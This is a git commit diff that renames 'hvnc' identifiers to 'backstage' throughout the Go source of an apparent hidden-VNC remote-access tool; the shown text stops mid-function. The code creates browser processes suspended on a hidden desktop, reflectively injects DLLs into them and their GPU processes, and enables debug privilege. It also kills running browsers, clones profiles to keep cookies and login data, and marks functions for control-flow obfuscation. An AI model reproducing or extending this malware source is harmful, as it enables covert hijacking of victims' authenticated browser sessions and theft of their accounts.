rename all instances of "hvnc" to "backstage"

This commit is contained in:
KingKDot
2026-07-13 10:22:19 -05:00
parent 447efa5192
commit 6d1a20206d
61 changed files with 1653 additions and 1653 deletions
@@ -12,9 +12,9 @@ import (
"unsafe"
)
// hvncFrameHeader mirrors the C HVNCFrameHeader struct.
// backstageFrameHeader mirrors the C backstageFrameHeader struct.
// must be kept in sync with BackstageCapture/src/DXGICapture.h.
type hvncFrameHeader struct {
type backstageFrameHeader struct {
Magic uint32
Version uint32
Width uint32
@@ -28,11 +28,11 @@ type hvncFrameHeader struct {
}
const (
hvncFrameMagic = 0x434E5648 // 'HVNC'
hvncFrameVersion = 1
hvncFrameHeaderSize = 48 // sizeof(HVNCFrameHeader)
hvncShmPrefix = `Local\hvnc_frame_`
hvncEventPrefix = `Local\hvnc_evt_`
backstageFrameMagic = 0x434E5648 // 'backstage'
backstageFrameVersion = 1
backstageFrameHeaderSize = 48 // sizeof(backstageFrameHeader)
backstageShmPrefix = `Local\backstage_frame_`
backstageEventPrefix = `Local\backstage_evt_`
)
var (
@@ -46,7 +46,7 @@ const (
SYNCHRONIZE = 0x00100000
)
type hvncFrameReader struct {
type backstageFrameReader struct {
pid uint32
shmHandle uintptr
shmView unsafe.Pointer
@@ -58,34 +58,34 @@ type hvncFrameReader struct {
}
var (
hvncFrameReaders = make(map[uint32]*hvncFrameReader)
hvncFrameReadersMu sync.Mutex
backstageFrameReaders = make(map[uint32]*backstageFrameReader)
backstageFrameReadersMu sync.Mutex
hvncGPUPIDMap = make(map[uint32]uint32)
backstageGPUPIDMap = make(map[uint32]uint32)
)
func hvncRegisterGPUPID(browserPID, gpuPID uint32) {
hvncFrameReadersMu.Lock()
hvncGPUPIDMap[browserPID] = gpuPID
hvncFrameReadersMu.Unlock()
log.Printf("hvnc dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID)
func backstageRegisterGPUPID(browserPID, gpuPID uint32) {
backstageFrameReadersMu.Lock()
backstageGPUPIDMap[browserPID] = gpuPID
backstageFrameReadersMu.Unlock()
log.Printf("backstage dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID)
}
func hvncGetFrameReader(pid uint32) *hvncFrameReader {
hvncFrameReadersMu.Lock()
defer hvncFrameReadersMu.Unlock()
func backstageGetFrameReader(pid uint32) *backstageFrameReader {
backstageFrameReadersMu.Lock()
defer backstageFrameReadersMu.Unlock()
if r, ok := hvncFrameReaders[pid]; ok {
if r, ok := backstageFrameReaders[pid]; ok {
if r.staleCount > 300 {
log.Printf("hvnc dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount)
log.Printf("backstage dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount)
r.close()
delete(hvncFrameReaders, pid)
delete(backstageFrameReaders, pid)
} else {
return r
}
}
shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncShmPrefix, pid))
shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageShmPrefix, pid))
shmHandle, _, _ := procOpenFileMappingW.Call(
FILE_MAP_READ,
0,
@@ -99,21 +99,21 @@ func hvncGetFrameReader(pid uint32) *hvncFrameReader {
shmHandle,
FILE_MAP_READ,
0, 0,
hvncFrameHeaderSize,
backstageFrameHeaderSize,
)
if view == 0 {
procCloseHandle.Call(shmHandle)
return nil
}
hdr := (*hvncFrameHeader)(unsafe.Pointer(view))
if hdr.Magic != hvncFrameMagic {
hdr := (*backstageFrameHeader)(unsafe.Pointer(view))
if hdr.Magic != backstageFrameMagic {
procUnmapViewOfFile.Call(view)
procCloseHandle.Call(shmHandle)
return nil
}
fullSize := uintptr(hvncFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height)
fullSize := uintptr(backstageFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height)
procUnmapViewOfFile.Call(view)
view = 0
@@ -130,30 +130,30 @@ func hvncGetFrameReader(pid uint32) *hvncFrameReader {
return nil
}
hdr2 := (*hvncFrameHeader)(unsafe.Pointer(fullView))
hdr2 := (*backstageFrameHeader)(unsafe.Pointer(fullView))
evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncEventPrefix, pid))
evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageEventPrefix, pid))
evtHandle, _, _ := procOpenEventW.Call(
SYNCHRONIZE,
0,
uintptr(unsafe.Pointer(evtName)),
)
r := &hvncFrameReader{
r := &backstageFrameReader{
pid: pid,
shmHandle: shmHandle,
shmView: unsafe.Pointer(fullView),
shmSize: fullSize,
evtHandle: evtHandle,
}
hvncFrameReaders[pid] = r
backstageFrameReaders[pid] = r
log.Printf("hvnc dxgi: opened shared memory for PID %d (%dx%d, %d bytes)",
log.Printf("backstage dxgi: opened shared memory for PID %d (%dx%d, %d bytes)",
pid, hdr2.Width, hdr2.Height, fullSize)
return r
}
func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
func (r *backstageFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
r.mu.Lock()
defer r.mu.Unlock()
@@ -161,8 +161,8 @@ func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
return 0, 0, false
}
hdr := (*hvncFrameHeader)(r.shmView)
if hdr.Magic != hvncFrameMagic || hdr.Version != hvncFrameVersion {
hdr := (*backstageFrameHeader)(r.shmView)
if hdr.Magic != backstageFrameMagic || hdr.Version != backstageFrameVersion {
return 0, 0, false
}
@@ -184,19 +184,19 @@ func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
return 0, 0, false
}
totalNeeded := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
totalNeeded := uintptr(backstageFrameHeaderSize) + uintptr(stride)*uintptr(h)
if totalNeeded > r.shmSize {
r.remap(w, h, stride)
if r.shmView == nil {
return 0, 0, false
}
hdr = (*hvncFrameHeader)(r.shmView)
if hdr.Magic != hvncFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h {
hdr = (*backstageFrameHeader)(r.shmView)
if hdr.Magic != backstageFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h {
return 0, 0, false
}
}
pixelData := unsafe.Add(r.shmView, hvncFrameHeaderSize)
pixelData := unsafe.Add(r.shmView, backstageFrameHeaderSize)
srcSize := stride * h
src := unsafe.Slice((*byte)(pixelData), srcSize)
@@ -217,13 +217,13 @@ func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
return w, h, true
}
func (r *hvncFrameReader) remap(w, h, stride int) {
func (r *backstageFrameReader) remap(w, h, stride int) {
if r.shmView != nil {
procUnmapViewOfFile.Call(uintptr(r.shmView))
r.shmView = nil
}
newSize := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
newSize := uintptr(backstageFrameHeaderSize) + uintptr(stride)*uintptr(h)
view, _, _ := procMapViewOfFile.Call(
r.shmHandle,
FILE_MAP_READ,
@@ -237,7 +237,7 @@ func (r *hvncFrameReader) remap(w, h, stride int) {
r.shmSize = newSize
}
func (r *hvncFrameReader) close() {
func (r *backstageFrameReader) close() {
r.mu.Lock()
defer r.mu.Unlock()
@@ -255,51 +255,51 @@ func (r *hvncFrameReader) close() {
}
}
func hvncCleanupFrameReaders() {
hvncFrameReadersMu.Lock()
defer hvncFrameReadersMu.Unlock()
func backstageCleanupFrameReaders() {
backstageFrameReadersMu.Lock()
defer backstageFrameReadersMu.Unlock()
for pid, r := range hvncFrameReaders {
for pid, r := range backstageFrameReaders {
r.close()
delete(hvncFrameReaders, pid)
delete(backstageFrameReaders, pid)
}
for k := range hvncGPUPIDMap {
delete(hvncGPUPIDMap, k)
for k := range backstageGPUPIDMap {
delete(backstageGPUPIDMap, k)
}
}
var (
hvncInjectedPIDs = make(map[uint32]time.Time)
hvncInjectedPIDsMu sync.Mutex
backstageInjectedPIDs = make(map[uint32]time.Time)
backstageInjectedPIDsMu sync.Mutex
)
func hvncRegisterInjectedPID(pid uint32) {
hvncInjectedPIDsMu.Lock()
hvncInjectedPIDs[pid] = time.Now()
hvncInjectedPIDsMu.Unlock()
func backstageRegisterInjectedPID(pid uint32) {
backstageInjectedPIDsMu.Lock()
backstageInjectedPIDs[pid] = time.Now()
backstageInjectedPIDsMu.Unlock()
}
func hvncGetInjectedPIDs() []uint32 {
hvncInjectedPIDsMu.Lock()
defer hvncInjectedPIDsMu.Unlock()
pids := make([]uint32, 0, len(hvncInjectedPIDs))
for pid := range hvncInjectedPIDs {
func backstageGetInjectedPIDs() []uint32 {
backstageInjectedPIDsMu.Lock()
defer backstageInjectedPIDsMu.Unlock()
pids := make([]uint32, 0, len(backstageInjectedPIDs))
for pid := range backstageInjectedPIDs {
pids = append(pids, pid)
}
return pids
}
func hvncUnregisterInjectedPID(pid uint32) {
hvncInjectedPIDsMu.Lock()
delete(hvncInjectedPIDs, pid)
hvncInjectedPIDsMu.Unlock()
func backstageUnregisterInjectedPID(pid uint32) {
backstageInjectedPIDsMu.Lock()
delete(backstageInjectedPIDs, pid)
backstageInjectedPIDsMu.Unlock()
}
func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) {
if len(data) < hvncFrameHeaderSize {
func parsebackstageFrameHeader(data []byte) (*backstageFrameHeader, bool) {
if len(data) < backstageFrameHeaderSize {
return nil, false
}
hdr := &hvncFrameHeader{
hdr := &backstageFrameHeader{
Magic: binary.LittleEndian.Uint32(data[0:4]),
Version: binary.LittleEndian.Uint32(data[4:8]),
Width: binary.LittleEndian.Uint32(data[8:12]),
@@ -311,7 +311,7 @@ func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) {
PID: binary.LittleEndian.Uint32(data[40:44]),
Reserved: binary.LittleEndian.Uint32(data[44:48]),
}
if hdr.Magic != hvncFrameMagic {
if hdr.Magic != backstageFrameMagic {
return nil, false
}
return hdr, true
@@ -4,20 +4,20 @@ package capture
import "errors"
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
return 0, errors.New("HVNC injection not supported on this platform")
func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
return 0, errors.New("backstage injection not supported on this platform")
}
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return errors.New("HVNC injection not supported on this platform")
func StartbackstageChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return errors.New("backstage injection not supported on this platform")
}
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
type LaunchStatusFunc func(step string, success bool, detail string)
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
return errors.New("HVNC injection not supported on this platform")
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
return errors.New("backstage injection not supported on this platform")
}
func CheckInstalledBrowsers() map[string]bool {
@@ -43,7 +43,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
type LaunchStatusFunc func(step string, success bool, detail string)
var hvncDXGIStatusCallback atomic.Value
var backstageDXGIStatusCallback atomic.Value
const (
PROCESS_CREATE_THREAD = 0x0002
@@ -158,10 +158,10 @@ func enableDebugPrivilege() {
procAdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tp)), 0, 0, 0)
}
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
// StartbackstageProcessInjected starts a process suspended on the backstage desktop,
// injects the reflective DLL, then resumes it.
// searchPath/replacePath are passed as environment variables for the DLL hooks.
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
if filePath == "" {
return 0, fmt.Errorf("empty file path")
}
@@ -169,8 +169,8 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
return 0, fmt.Errorf("empty DLL bytes")
}
result, err := executeHVNCTask(hvncTask{
kind: hvncTaskStartProcessInjected,
result, err := executebackstageTask(backstageTask{
kind: backstageTaskStartProcessInjected,
filePath: filePath,
dllBytes: dllBytes,
captureDllBytes: captureDllBytes,
@@ -184,12 +184,12 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
return result.pid, result.err
}
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
if onDXGIStatus != nil {
hvncDXGIStatusCallback.Store(onDXGIStatus)
backstageDXGIStatusCallback.Store(onDXGIStatus)
}
notify := func(step string, success bool, detail string) {
log.Printf("hvnc %s: [%s] success=%v %s", browser, step, success, detail)
log.Printf("backstage %s: [%s] success=%v %s", browser, step, success, detail)
if onLaunchStatus != nil {
onLaunchStatus(step, success, detail)
}
@@ -231,7 +231,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
if !clone {
notify("launch", true, "starting without profile cloning")
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
pid, err := StartbackstageProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err
@@ -239,13 +239,13 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
if info.needsPatch && pid != 0 {
go func() {
defer recoverAndLog("hvnc patch opera", nil)
defer recoverAndLog("backstage patch opera", nil)
patchOperaAsync(pid, 5, 2*time.Second)
}()
}
if pid != 0 {
go func() {
defer recoverAndLog("hvnc crash monitor", nil)
defer recoverAndLog("backstage crash monitor", nil)
monitorProcessCrash(pid, info.name, notify)
}()
}
@@ -274,7 +274,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
}
if strings.EqualFold(fi.Name(), lockFile) {
os.Remove(path)
log.Printf("hvnc %s: removed lock file %s", info.name, path)
log.Printf("backstage %s: removed lock file %s", info.name, path)
}
return nil
})
@@ -283,13 +283,13 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
for _, lockFile := range []string{"SingletonLock", "SingletonCookie", "SingletonSocket"} {
lp := filepath.Join(cloneDir, lockFile)
if err := os.Remove(lp); err == nil {
log.Printf("hvnc %s: removed lock file %s", info.name, lockFile)
log.Printf("backstage %s: removed lock file %s", info.name, lockFile)
}
}
}
notify("launch", true, "starting with cloned profile")
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
pid, err := StartbackstageProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err
@@ -297,22 +297,22 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
if info.needsPatch && pid != 0 {
go func() {
defer recoverAndLog("hvnc patch opera", nil)
defer recoverAndLog("backstage patch opera", nil)
patchOperaAsync(pid, 5, 2*time.Second)
}()
}
if pid != 0 {
go func() {
defer recoverAndLog("hvnc crash monitor", nil)
defer recoverAndLog("backstage crash monitor", nil)
monitorProcessCrash(pid, info.name, notify)
}()
}
return nil
}
// StartHVNCChromeInjected is kept for backward compatibility.
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
// StartbackstageChromeInjected is kept for backward compatibility.
func StartbackstageChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
}
type browserInfo struct {
@@ -525,9 +525,9 @@ func killProcess(name string) []uint32 {
procCloseHandle.Call(hProc)
if r != 0 {
killed = append(killed, entry.ProcessID)
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
log.Printf("backstage: terminated %s (PID %d)", name, entry.ProcessID)
} else {
log.Printf("hvnc: failed to terminate %s (PID %d)", name, entry.ProcessID)
log.Printf("backstage: failed to terminate %s (PID %d)", name, entry.ProcessID)
}
}
}
@@ -568,14 +568,14 @@ func isFirefoxProfile(name string) bool {
// large cache directories that aren't needed for a functional session.
// This preserves extensions, cookies, login data, local storage, etc.
func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onProgress CloneProgressFunc) (string, error) {
prefix := "hvnc_" + strings.ToLower(browserName) + "_"
prefix := "backstage_" + strings.ToLower(browserName) + "_"
// Remove any previous cloned profile directories so we always use fresh data
tmpDir := os.TempDir()
if old, err := os.ReadDir(tmpDir); err == nil {
for _, e := range old {
if strings.HasPrefix(e.Name(), prefix) && e.IsDir() {
p := filepath.Join(tmpDir, e.Name())
log.Printf("hvnc %s: removing old clone %s", browserName, p)
log.Printf("backstage %s: removing old clone %s", browserName, p)
os.RemoveAll(p)
}
}
@@ -601,7 +601,7 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
}
if lite {
log.Printf("hvnc %s: lite clone — skipping extensions and extra data", browserName)
log.Printf("backstage %s: lite clone — skipping extensions and extra data", browserName)
liteSkip := []string{
"extensions",
"extension state",
@@ -691,7 +691,7 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
}
}
log.Printf("hvnc %s: cloning %d files using parallel workers", browserName, len(jobs))
log.Printf("backstage %s: cloning %d files using parallel workers", browserName, len(jobs))
dirs := make(map[string]struct{})
for _, j := range jobs {
@@ -729,13 +729,13 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
defer wg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[panic] hvnc file copy worker: %v", r)
log.Printf("[panic] backstage file copy worker: %v", r)
}
}()
for job := range jobCh {
n, err := forceCopyFile(job.src, job.dst)
if err != nil {
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, job.src, err)
log.Printf("backstage %s: warning: could not copy %s: %v", browserName, job.src, err)
} else {
reportProgress(n)
}
@@ -863,7 +863,7 @@ func calcDirSize(dir string) int64 {
return total
}
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if filePath == "" {
return 0, fmt.Errorf("empty file path")
@@ -878,17 +878,17 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
if err != nil {
return 0, fmt.Errorf("failed to create DLL shared memory: %v", err)
}
log.Printf("hvnc inject: DLL shared memory created as %s (%d bytes)", shmName, len(dllBytes))
log.Printf("backstage inject: DLL shared memory created as %s (%d bytes)", shmName, len(dllBytes))
enableDebugPrivilege()
// Create the process suspended on the HVNC desktop
// Create the process suspended on the backstage desktop
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes), display)
if err != nil {
procCloseHandle.Call(shmHandle)
return 0, fmt.Errorf("failed to create suspended process: %v", err)
}
log.Printf("hvnc inject: created suspended process PID %d", pid)
log.Printf("backstage inject: created suspended process PID %d", pid)
// Inject the reflective DLL
if err := reflectiveInject(hProcess, dllBytes); err != nil {
@@ -898,7 +898,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
procCloseHandle.Call(shmHandle)
return 0, fmt.Errorf("DLL injection failed: %v", err)
}
log.Printf("hvnc inject: DLL injected into PID %d", pid)
log.Printf("backstage inject: DLL injected into PID %d", pid)
// The DLL's InstallNtApiHooks has run (reflectiveInject waits for the
// loader thread). The DLL opened the shared section, so we can release
@@ -915,15 +915,15 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
}
procCloseHandle.Call(hThread)
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
log.Printf("backstage inject: process PID %d resumed with DLL hooks active", pid)
if len(captureDllBytes) > 0 {
if !hvncDXGIEnabled.Load() {
log.Printf("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
if !backstageDXGIEnabled.Load() {
log.Printf("backstage inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
} else {
go func() {
defer recoverAndLog("hvnc deferred gpu inject", nil)
hvncDeferredGPUInject(pid, captureDllBytes)
defer recoverAndLog("backstage deferred gpu inject", nil)
backstageDeferredGPUInject(pid, captureDllBytes)
}()
}
}
@@ -931,46 +931,46 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
return pid, nil
}
func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
func backstageDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
time.Sleep(4 * time.Second)
for attempt := 0; attempt < 15; attempt++ {
gpuPID, err := findGPUChildProcess(browserPID)
if err != nil {
log.Printf("hvnc inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
log.Printf("backstage inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
time.Sleep(2 * time.Second)
continue
}
log.Printf("hvnc inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
log.Printf("backstage inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
hProcess, _, _ := procOpenProcess.Call(PROCESS_ALL_ACCESS_INJ, 0, uintptr(gpuPID))
if hProcess == 0 {
log.Printf("hvnc inject: failed to open GPU process PID %d", gpuPID)
log.Printf("backstage inject: failed to open GPU process PID %d", gpuPID)
return
}
if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
log.Printf("hvnc inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
log.Printf("backstage inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
procCloseHandle.Call(hProcess)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID))
}
return
}
procCloseHandle.Call(hProcess)
log.Printf("hvnc inject: BackstageCapture DLL injected into GPU PID %d", gpuPID)
hvncRegisterInjectedPID(gpuPID)
hvncRegisterGPUPID(browserPID, gpuPID)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
log.Printf("backstage inject: BackstageCapture DLL injected into GPU PID %d", gpuPID)
backstageRegisterInjectedPID(gpuPID)
backstageRegisterGPUPID(browserPID, gpuPID)
if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
fn(true, gpuPID, fmt.Sprintf("DXGI capture active (GPU PID %d)", gpuPID))
}
return
}
log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
log.Printf("backstage inject: gave up finding GPU child for browser PID %d", browserPID)
if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
fn(false, 0, "DXGI injection failed: GPU process not found")
}
}
@@ -1094,7 +1094,7 @@ func terminateProcess(hProcess uintptr) {
// createDLLSharedMemory creates a named page-file-backed section containing
// the raw DLL bytes. Returns the mapping handle and section name.
func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err error) {
name = fmt.Sprintf("Local\\hvnc_rdi_%d", time.Now().UnixNano())
name = fmt.Sprintf("Local\\backstage_rdi_%d", time.Now().UnixNano())
namePtr, err := syscall.UTF16PtrFromString(name)
if err != nil {
return 0, "", err
@@ -1131,7 +1131,7 @@ func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err er
}
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int, display int) (hProcess, hThread uintptr, pid uint32, err error) {
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
desktopNamePtr, err := syscall.UTF16PtrFromString(backstageDesktopName)
if err != nil {
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
}
@@ -1229,7 +1229,7 @@ func buildEnvironmentBlock(searchPath, replacePath, shmName string, dllSize int)
return nil, err
}
log.Printf("hvnc inject env: nativeChars=%d finalChars=%d searchRunes=%d replaceRunes=%d hasDllSection=%v dllSize=%d",
log.Printf("backstage inject env: nativeChars=%d finalChars=%d searchRunes=%d replaceRunes=%d hasDllSection=%v dllSize=%d",
blockLen, len(block), len([]rune(searchPath)), len([]rune(replacePath)), shmName != "", dllSize)
return block, nil
}
@@ -1312,7 +1312,7 @@ func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
if err != nil {
return fmt.Errorf("failed to find ReflectiveLoader: %v", err)
}
log.Printf("hvnc inject: ReflectiveLoader at offset 0x%x", loaderOffset)
log.Printf("backstage inject: ReflectiveLoader at offset 0x%x", loaderOffset)
remoteBase, _, _ := procVirtualAllocEx.Call(
hProcess,
@@ -1356,9 +1356,9 @@ func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
waitRet, _, waitErr := procWaitForSingleObject.Call(hThread, INFINITE_WAIT)
var exitCode uint32
if ret, _, callErr := procGetExitCodeThread.Call(hThread, uintptr(unsafe.Pointer(&exitCode))); ret != 0 {
log.Printf("hvnc inject: remote loader thread finished wait=0x%x exit=%s", waitRet, describeExitCode(exitCode))
log.Printf("backstage inject: remote loader thread finished wait=0x%x exit=%s", waitRet, describeExitCode(exitCode))
} else {
log.Printf("hvnc inject: GetExitCodeThread failed after wait=0x%x: %v", waitRet, callErr)
log.Printf("backstage inject: GetExitCodeThread failed after wait=0x%x: %v", waitRet, callErr)
}
procCloseHandle.Call(hThread)
@@ -71,7 +71,7 @@ func patchGetCursorInfo(pid uint32) error {
}
}
if !ok {
log.Printf("hvnc patch: verification mismatch for PID %d", pid)
log.Printf("backstage patch: verification mismatch for PID %d", pid)
}
}
@@ -153,11 +153,11 @@ func patchOperaAsync(pid uint32, maxRetries int, delay time.Duration) {
time.Sleep(delay)
}
if err := patchGetCursorInfo(pid); err != nil {
log.Printf("hvnc patch: attempt %d/%d for PID %d failed: %v", attempt+1, maxRetries, pid, err)
log.Printf("backstage patch: attempt %d/%d for PID %d failed: %v", attempt+1, maxRetries, pid, err)
continue
}
log.Printf("hvnc patch: successfully patched GetCursorInfo in PID %d", pid)
log.Printf("backstage patch: successfully patched GetCursorInfo in PID %d", pid)
return
}
log.Printf("hvnc patch: all %d attempts failed for PID %d", maxRetries, pid)
log.Printf("backstage patch: all %d attempts failed for PID %d", maxRetries, pid)
}
@@ -7,67 +7,67 @@ import (
"image"
)
func InitializeHVNCDesktop() error {
return errors.New("HVNC not supported on this platform")
func InitializebackstageDesktop() error {
return errors.New("backstage not supported on this platform")
}
func CleanupHVNCDesktop() {}
func CleanupbackstageDesktop() {}
func SetHVNCCursorCapture(enabled bool) {}
func SetbackstageCursorCapture(enabled bool) {}
func SetHVNCDXGIEnabled(enabled bool) {}
func SetbackstageDXGIEnabled(enabled bool) {}
func GetHVNCDXGIEnabled() bool { return false }
func GetbackstageDXGIEnabled() bool { return false }
func SetHVNCUIAEnabled(enabled bool) {}
func SetbackstageUIAEnabled(enabled bool) {}
func GetHVNCUIAEnabled() bool { return false }
func GetbackstageUIAEnabled() bool { return false }
func BackstageCaptureDisplay(display int) (*image.RGBA, error) {
return nil, errors.New("HVNC not supported on this platform")
return nil, errors.New("backstage not supported on this platform")
}
func HVNCMonitorCount() int {
func BackstageMonitorCount() int {
return 0
}
func StartHVNCProcess(filePath string, operaPatch bool, display int) error {
return errors.New("HVNC not supported on this platform")
func StartbackstageProcess(filePath string, operaPatch bool, display int) error {
return errors.New("backstage not supported on this platform")
}
func HVNCInputMouseMove(display int, x, y int32) error {
return errors.New("HVNC not supported on this platform")
func BackstageInputMouseMove(display int, x, y int32) error {
return errors.New("backstage not supported on this platform")
}
func HVNCInputMouseDown(button int) error {
return errors.New("HVNC not supported on this platform")
func BackstageInputMouseDown(button int) error {
return errors.New("backstage not supported on this platform")
}
func HVNCInputMouseUp(button int) error {
return errors.New("HVNC not supported on this platform")
func BackstageInputMouseUp(button int) error {
return errors.New("backstage not supported on this platform")
}
func HVNCInputKeyDown(vk uint16) error {
return errors.New("HVNC not supported on this platform")
func BackstageInputKeyDown(vk uint16) error {
return errors.New("backstage not supported on this platform")
}
func HVNCInputKeyUp(vk uint16) error {
return errors.New("HVNC not supported on this platform")
func BackstageInputKeyUp(vk uint16) error {
return errors.New("backstage not supported on this platform")
}
func HVNCInputMouseWheel(delta int32) error {
return errors.New("HVNC not supported on this platform")
func BackstageInputMouseWheel(delta int32) error {
